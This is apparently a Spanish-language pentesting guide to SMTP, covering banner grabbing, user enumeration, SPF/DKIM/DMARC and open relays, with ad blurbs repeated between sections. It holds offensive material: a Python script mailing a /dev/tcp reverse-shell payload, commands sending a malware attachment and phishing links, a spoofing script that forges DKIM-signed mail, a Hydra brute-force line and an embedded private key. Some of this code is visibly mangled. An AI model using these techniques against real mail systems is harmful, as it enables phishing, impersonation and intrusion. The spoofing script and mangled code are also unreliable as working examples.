# 25,465,587 - Pentesting SMTP/s
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**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse. {% embed url="https://pentest-tools.com/" %} ## **Información Básica** El **Protocolo de Transferencia de Correo Simple (SMTP)** es un protocolo utilizado dentro de la suite TCP/IP para el **envío y recepción de correos electrónicos**. Debido a sus limitaciones en la cola de mensajes en el extremo del destinatario, SMTP se emplea a menudo junto con **POP3 o IMAP**. Estos protocolos adicionales permiten a los usuarios almacenar mensajes en un buzón de servidor y descargarlos periódicamente. En la práctica, es común que los **programas de correo electrónico** utilicen **SMTP para enviar correos electrónicos**, mientras que utilizan **POP3 o IMAP para recibirlos**. En sistemas basados en Unix, **sendmail** destaca como el servidor SMTP más utilizado para fines de correo electrónico. El paquete comercial conocido como Sendmail incluye un servidor POP3. Además, **Microsoft Exchange** proporciona un servidor SMTP y ofrece la opción de incluir soporte POP3. **Puerto predeterminado:** 25,465(ssl),587(ssl) ``` PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959 ``` ### Cabeceras de Correo Electrónico Si tienes la oportunidad de **hacer que la víctima te envíe un correo electrónico** (a través del formulario de contacto de la página web, por ejemplo), hazlo porque **podrías aprender sobre la topología interna** de la víctima viendo las cabeceras del correo. También puedes obtener un correo electrónico de un servidor SMTP intentando **enviar a ese servidor un correo electrónico a una dirección inexistente** (porque el servidor enviará al atacante un correo NDN). Pero asegúrate de enviar el correo desde una dirección permitida (verifica la política SPF) y de que puedas recibir mensajes NDN. También deberías intentar **enviar diferentes contenidos porque puedes encontrar información más interesante** en las cabeceras como: `X-Virus-Scanned: by av.domain.com`\ Deberías enviar el archivo de prueba EICAR.\ Detectar el **AV** puede permitirte explotar **vulnerabilidades conocidas.** ## Acciones Básicas ### **Obtención de Banner/Conexión Básica** **SMTP:** ```bash nc -vn 25 ``` **SMTPS**: ```bash openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587 ``` ### Encontrar servidores MX de una organización ```bash dig +short mx google.com ``` ### Enumeración ```bash nmap -p25 --script smtp-commands 10.10.10.10 nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` ### NTLM Auth - Divulgación de información Si el servidor admite la autenticación NTLM (Windows) puedes obtener información sensible (versiones). Más información [**aquí**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666). ```bash root@kali: telnet example.com 587 220 example.com SMTP Server Banner >> HELO 250 example.com Hello [x.x.x.x] >> AUTH NTLM 334 NTLM supported >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= 334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA ``` O **automatizar** esto con el plugin **nmap** `smtp-ntlm-info.nse` ### Nombre del servidor interno - Divulgación de información Algunos servidores SMTP completan automáticamente la dirección del remitente cuando se emite el comando "MAIL FROM" sin una dirección completa, revelando su nombre interno: ``` 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 EHLO all 250-somedomain.com Hello [x.x.x.x] 250-TURN 250-SIZE 52428800 250-ETRN 250-PIPELINING 250-DSN 250-ENHANCEDSTATUSCODES 250-8bitmime 250-BINARYMIME 250-CHUNKING 250-VRFY 250 OK MAIL FROM: me 250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK ``` ### Sniffing Verifique si puede detectar alguna contraseña de los paquetes al puerto 25 ### [Ataque de fuerza bruta de autenticación](../../generic-methodologies-and-resources/brute-force.md#smtp) ## Enumeración de Fuerza Bruta de Nombre de Usuario **La autenticación no siempre es necesaria** ### RCPT TO ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO x 250 myhost Hello 18.28.38.48, pleased to meet you MAIL FROM:example@domain.com 250 2.1.0 example@domain.com... Sender ok RCPT TO:test 550 5.1.1 test... User unknown RCPT TO:admin 550 5.1.1 admin... User unknown RCPT TO:ed 250 2.1.5 ed... Recipient ok ``` ### VRFY La técnica VRFY se utiliza para verificar si una cuenta de usuario específica existe en un servidor SMTP. Esta técnica puede ser utilizada por atacantes para recopilar información sobre posibles cuentas válidas en un dominio, lo que podría facilitar futuros ataques de ingeniería social o de fuerza bruta. Es importante deshabilitar la funcionalidad VRFY en servidores SMTP para evitar posibles riesgos de seguridad. ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO 501 HELO requires domain address HELO x 250 myhost Hello 18.28.38.48, pleased to meet you VRFY root 250 Super-User root@myhost VRFY blah 550 blah... User unknown ``` ### EXPN El comando `EXPN` se utiliza para expandir una lista de correo en un servidor SMTP. Este comando puede revelar direcciones de correo electrónico válidas que están en la lista de correo, lo que puede ser útil para un atacante en una fase de reconocimiento durante una evaluación de penetración. ```bash $ telnet 1.1.1.1 25 Trying 1.1.1.1... Connected to 1.1.1.1. Escape character is '^]'. 220 myhost ESMTP Sendmail 8.9.3 HELO 501 HELO requires domain address HELO x EXPN test 550 5.1.1 test... User unknown EXPN root 250 2.1.5 ed.williams@myhost EXPN sshd 250 2.1.5 sshd privsep sshd@myhost ``` ### Herramientas automáticas ``` Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users ```
**Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse. {% embed url="https://pentest-tools.com/" %} ## Informes de DSN **Informes de Notificación de Estado de Entrega**: Si envía un **correo electrónico** a una organización a una **dirección no válida**, la organización le notificará que la dirección era inválida enviando un **correo de vuelta**. Los **encabezados** del correo devuelto **contendrán** información **sensible** posible (como la dirección IP de los servicios de correo que interactuaron con los informes o información sobre el software antivirus). ## [Comandos](smtp-commands.md) ### Enviar un correo electrónico desde la consola de Linux ```bash sendEmail -t to@domain.com -f from@attacker.com -s -u "Important subject" -a /tmp/malware.pdf Reading message body from STDIN because the '-m' option was not used. If you are manually typing in a message: - First line must be received within 60 seconds. - End manual input with a CTRL-D on its own line. ``` ```bash swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197 ``` ### Enviando un correo electrónico con Python
Código de Python aquí \`\`\`python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys lhost = "127.0.0.1" lport = 443 rhost = "192.168.1.1" rport = 25 # 489,587 ## create message object instance msg = MIMEMultipart() ## setup the parameters of the message password = "" msg\['From'] = "attacker@local" msg\['To'] = "victim@local" msg\['Subject'] = "This is not a drill!" ## payload message = ("& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport)) print("\[\*] Payload is generated : %s" % message) msg.attach(MIMEText(message, 'plain')) server = smtplib.SMTP(host=rhost,port=rport) if server.noop()\[0] != 250: print("\[-]Connection Error") exit() server.starttls() ## Uncomment if log-in with authencation ## server.login(msg\['From'], password) server.sendmail(msg\['From'], msg\['To'], msg.as\_string()) server.quit() print("\[\*\*\*]successfully sent email to %s:" % (msg\['To'])) ````
## Vulnerabilidad de Contrabando SMTP La vulnerabilidad de Contrabando SMTP permitía evadir todas las protecciones SMTP (consulte la siguiente sección para obtener más información sobre las protecciones). Para obtener más información sobre el Contrabando SMTP, consulte:
[smtp-smuggling.md](smtp-smuggling.md)
## Contramedidas de Suplantación de Correo Las organizaciones evitan que se envíen correos electrónicos no autorizados en su nombre empleando **SPF**, **DKIM** y **DMARC** debido a la facilidad de suplantación de mensajes SMTP. Una **guía completa sobre estas contramedidas** está disponible en [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/). ### SPF
SPF [fue "obsoleto" en 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Esto significa que en lugar de crear un registro **TXT** en `_spf.domain.com`, se crea en `domain.com` utilizando la **misma sintaxis**.\ Además, para reutilizar registros SPF anteriores, es bastante común encontrar algo como `"v=spf1 include:_spf.google.com ~all"`
**Sender Policy Framework** (SPF) es un mecanismo que permite a los Agentes de Transferencia de Correo (MTAs) verificar si un host que envía un correo electrónico está autorizado consultando una lista de servidores de correo autorizados definidos por las organizaciones. Esta lista, que especifica direcciones IP/rangos, dominios y otras entidades **autorizadas para enviar correos electrónicos en nombre de un nombre de dominio**, incluye varios "**Mecanismos**" en el registro SPF. #### Mecanismos De [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework): | Mecanismo | Descripción | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ALL | Siempre coincide; se utiliza para un resultado predeterminado como `-all` para todas las IP que no coinciden con los mecanismos anteriores. | | A | Si el nombre de dominio tiene un registro de dirección (A o AAAA) que se puede resolver a la dirección del remitente, coincidirá. | | IP4 | Si el remitente está en un rango de direcciones IPv4 dado, coincide. | | IP6 | Si el remitente está en un rango de direcciones IPv6 dado, coincide. | | MX | Si el nombre de dominio tiene un registro MX que resuelve a la dirección del remitente, coincidirá (es decir, el correo proviene de uno de los servidores de correo entrante del dominio). | | PTR | Si el nombre de dominio (registro PTR) para la dirección del cliente está en el dominio dado y ese nombre de dominio se resuelve a la dirección del cliente (DNS inverso confirmado hacia adelante), coincide. Se desaconseja este mecanismo y se debe evitar, si es posible. | | EXISTS | Si el nombre de dominio dado se resuelve a cualquier dirección, coincide (independientemente de la dirección a la que se resuelva). Esto se usa raramente. Junto con el lenguaje macro SPF, ofrece coincidencias más complejas como consultas DNSBL. | | INCLUDE | Hace referencia a la política de otro dominio. Si la política de ese dominio pasa, este mecanismo pasa. Sin embargo, si la política incluida falla, el procesamiento continúa. Para delegar completamente a la política de otro dominio, se debe usar la extensión de redirección. | | REDIRECT |

Una redirección es un puntero a otro nombre de dominio que aloja una política SPF, permite que varios dominios compartan la misma política SPF. Es útil al trabajar con una gran cantidad de dominios que comparten la misma infraestructura de correo electrónico.

Se utilizará la política SPF del dominio indicado en el Mecanismo de redirección.

| También es posible identificar **Cualificadores** que indican **qué se debe hacer si se cumple un mecanismo**. Por defecto, se utiliza el **cualificador "+"** (por lo que si se cumple algún mecanismo, significa que está permitido).\ Normalmente se nota **al final de cada política SPF** algo como: **\~all** o **-all**. Esto se utiliza para indicar que **si el remitente no coincide con ninguna política SPF, se debe etiquetar el correo como no confiable (\~) o rechazar (-) el correo.** #### Cualificadores Cada mecanismo dentro de la política puede ir precedido por uno de cuatro cualificadores para definir el resultado previsto: * **`+`**: Corresponde a un resultado de APROBADO. Por defecto, los mecanismos asumen este cualificador, haciendo que `+mx` sea equivalente a `mx`. * **`?`**: Representa un resultado NEUTRO, tratado de manera similar a NINGUNO (sin política específica). * **`~`**: Indica FALLA SUAVE, sirviendo como un punto intermedio entre NEUTRO y FALLA. Los correos electrónicos que cumplen con este resultado generalmente son aceptados pero marcados en consecuencia. * **`-`**: Indica FALLA, sugiriendo que el correo electrónico debe ser rechazado directamente. En el siguiente ejemplo, se ilustra la **política SPF de google.com**. Tenga en cuenta la inclusión de políticas SPF de diferentes dominios dentro de la primera política SPF: ```shell-session dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" dig txt _spf.google.com | grep spf ; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com ;_spf.google.com. IN TXT _spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all" dig txt _netblocks.google.com | grep spf _netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all" dig txt _netblocks2.google.com | grep spf _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all" dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ```` Tradicionalmente era posible falsificar cualquier nombre de dominio que no tuviera un registro SPF correcto o no tuviera ninguno. **Hoy en día**, si un **correo electrónico** proviene de un **dominio sin un registro SPF válido**, probablemente será **rechazado/marcado como no confiable automáticamente**. Para verificar el SPF de un dominio, puedes utilizar herramientas en línea como: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) #### DKIM (DomainKeys Identified Mail) DKIM se utiliza para firmar correos electrónicos salientes, lo que permite su validación por Agentes de Transferencia de Correo (MTAs) externos a través de la recuperación de la clave pública del dominio desde DNS. Esta clave pública se encuentra en el registro TXT de un dominio. Para acceder a esta clave, es necesario conocer tanto el selector como el nombre de dominio. Por ejemplo, para solicitar la clave, son esenciales el nombre de dominio y el selector. Estos se pueden encontrar en el encabezado del correo `DKIM-Signature`, por ejemplo, `d=gmail.com;s=20120113`. Un comando para recuperar esta información podría lucir así: ```bash dig 20120113._domainkey.gmail.com TXT | grep p= # This command would return something like: 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 ``` #### DMARC (Domain-based Message Authentication, Reporting & Conformance) DMARC mejora la seguridad del correo electrónico basándose en los protocolos SPF y DKIM. Describe políticas que guían a los servidores de correo en el manejo de correos electrónicos de un dominio específico, incluyendo cómo manejar fallos de autenticación y dónde enviar informes sobre las acciones de procesamiento de correos electrónicos. **Para obtener el registro DMARC, necesitas consultar el subdominio \_dmarc** ```bash # Reject dig _dmarc.facebook.com txt | grep DMARC _dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100" # Quarantine dig _dmarc.google.com txt | grep DMARC _dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com" # None dig _dmarc.bing.com txt | grep DMARC _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;" ``` **Etiquetas DMARC** #### **¿Qué pasa con los subdominios?** **Desde** [**aquí**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ Necesitas tener registros SPF separados para cada subdominio desde el cual desees enviar correos.\ Lo siguiente fue publicado originalmente en openspf.org, que solía ser un gran recurso para este tipo de información. La Pregunta del Demonio: ¿Qué pasa con los subdominios? Si recibo un correo de pielovers.demon.co.uk, y no hay datos SPF para pielovers, ¿debería retroceder un nivel y probar SPF para demon.co.uk? No. Cada subdominio en Demon es un cliente diferente, y cada cliente podría tener su propia política. No tendría sentido que la política de Demon se aplique a todos sus clientes por defecto; si Demon quiere hacer eso, puede configurar registros SPF para cada subdominio. Por lo tanto, el consejo para los editores de SPF es el siguiente: deberías agregar un registro SPF para cada subdominio o nombre de host que tenga un registro A o MX. Los sitios con registros A o MX comodín también deberían tener un registro SPF comodín, de la forma: \* IN TXT "v=spf1 -all" Esto tiene sentido: un subdominio bien podría estar en una ubicación geográfica diferente y tener una definición SPF muy diferente. #### **Relevo Abierto** Cuando se envían correos electrónicos, es crucial asegurarse de que no sean marcados como spam. Esto se logra a menudo mediante el uso de un **servidor de retransmisión que es confiable para el destinatario**. Sin embargo, un desafío común es que los administradores podrían no estar completamente al tanto de qué **rangos de IP son seguros de permitir**. Esta falta de comprensión puede llevar a errores en la configuración del servidor SMTP, un riesgo identificado con frecuencia en evaluaciones de seguridad. Una solución alternativa que algunos administradores utilizan para evitar problemas de entrega de correo electrónico, especialmente en comunicaciones con clientes potenciales o en curso, es **permitir conexiones desde cualquier dirección IP**. Esto se logra configurando el parámetro `mynetworks` del servidor SMTP para aceptar todas las direcciones IP, como se muestra a continuación: ```bash mynetworks = 0.0.0.0/0 ``` Para verificar si un servidor de correo es un relay abierto (lo que significa que podría reenviar correos electrónicos desde cualquier fuente externa), se suele utilizar la herramienta `nmap`. Incluye un script específico diseñado para probar esto. El comando para realizar un escaneo detallado en un servidor (por ejemplo, con la IP 10.10.10.10) en el puerto 25 usando `nmap` es: ```bash nmap -p25 --script smtp-open-relay 10.10.10.10 -v ``` #### **Herramientas** * [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Verificar configuraciones incorrectas de SPF y DMARC** * [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Obtener automáticamente configuraciones de SPF y DMARC** #### Enviar Correo Electrónico Falsificado * [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) * [**http://www.anonymailer.net/**](http://www.anonymailer.net) * [**https://emkei.cz/**](https://emkei.cz/) **O puedes utilizar una herramienta:** * [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing) ```bash # This will send a test email from test@victim.com to destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com # But you can also modify more options of the email python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` Si obtienes algún **error al usar la librería dkim de Python** al analizar la clave, siéntete libre de usar la siguiente.\ **NOTA**: Esta es solo una solución temporal para realizar verificaciones rápidas en casos donde, por alguna razón, la clave privada de openssl **no pueda ser analizada por dkim**. ``` -----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1 koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq 1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf 422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ== -----END RSA PRIVATE KEY----- ``` **O puedes hacerlo manualmente:** \# Esto enviará un mensaje no firmadomail("tu\_correo@gmail.com", "¡Asunto de prueba!", "¡Hola! Esto es una prueba", "De: administrador@victima.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message\_html="""\\\

This is a test, not a scam\

\
\\"""sender\_domain=sender.split("@")\[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.\*)/\\\1 = "+sender\_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim\_private\_key\_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim\_private\_key\_path} 1024 2> /dev/null")with open(dkim\_private\_key\_path) as fh:dkim\_private\_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message\_html, "html"))msg\["To"] = destinationmsg\["From"] = sendermsg\["Subject"] = subjectheaders = \[b"To", b"From", b"Subject"]msg\_data = msg.as\_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim\_selector="s1"sig = dkim.sign(message=msg\_data,selector=str(dkim\_selector).encode(),domain=sender\_domain.encode(),privkey=dkim\_private\_key.encode(),include\_headers=headers)msg\["DKIM-Signature"] = sig\[len("DKIM-Signature: ") :].decode()msg\_data = msg.as\_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, \[destination], msg\_data) #### **Más información** **Encuentra más información sobre estas protecciones en** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) #### **Otros indicadores de phishing** * Antigüedad del dominio * Enlaces que apuntan a direcciones IP * Técnicas de manipulación de enlaces * Archivos adjuntos sospechosos (poco comunes) * Contenido de correo electrónico roto * Valores utilizados diferentes a los de los encabezados del correo * Existencia de un certificado SSL válido y confiable * Envío de la página a sitios de filtrado de contenido web ### Extracción a través de SMTP **Si puedes enviar datos a través de SMTP** [**lee esto**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.** ### Archivo de configuración #### Postfix Por lo general, si está instalado, en `/etc/postfix/master.cf` contiene **scripts para ejecutar** cuando, por ejemplo, un nuevo correo es recibido por un usuario. Por ejemplo, la línea `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` significa que `/etc/postfix/filtering` se ejecutará si un nuevo correo es recibido por el usuario mark. Otros archivos de configuración: ``` sendmail.cf submit.cf ``` ### Referencias * [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/) * [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/) ``` Protocol_Name: SMTP #Protocol Abbreviation if there is one. Port_Number: 25,465,587 #Comma separated if there is more than one. Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMTP Note: | SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. https://book.hacktricks.xyz/pentesting/pentesting-smtp Entry_2: Name: Banner Grab Description: Grab SMTP Banner Command: nc -vn {IP} 25 Entry_3: Name: SMTP Vuln Scan Description: SMTP Vuln Scan With Nmap Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP} Entry_4: Name: SMTP User Enum Description: Enumerate uses with smtp-user-enum Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP} Entry_5: Name: SMTPS Connect Description: Attempt to connect to SMTPS two different ways Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587 Entry_6: Name: Find MX Servers Description: Find MX servers of an organization Command: dig +short mx {Domain_Name} Entry_7: Name: Hydra Brute Force Description: Need Nothing Command: hydra -P {Big_Passwordlist} {IP} smtp -V Entry_8: Name: consolesless mfs enumeration Description: SMTP enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ``` **Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.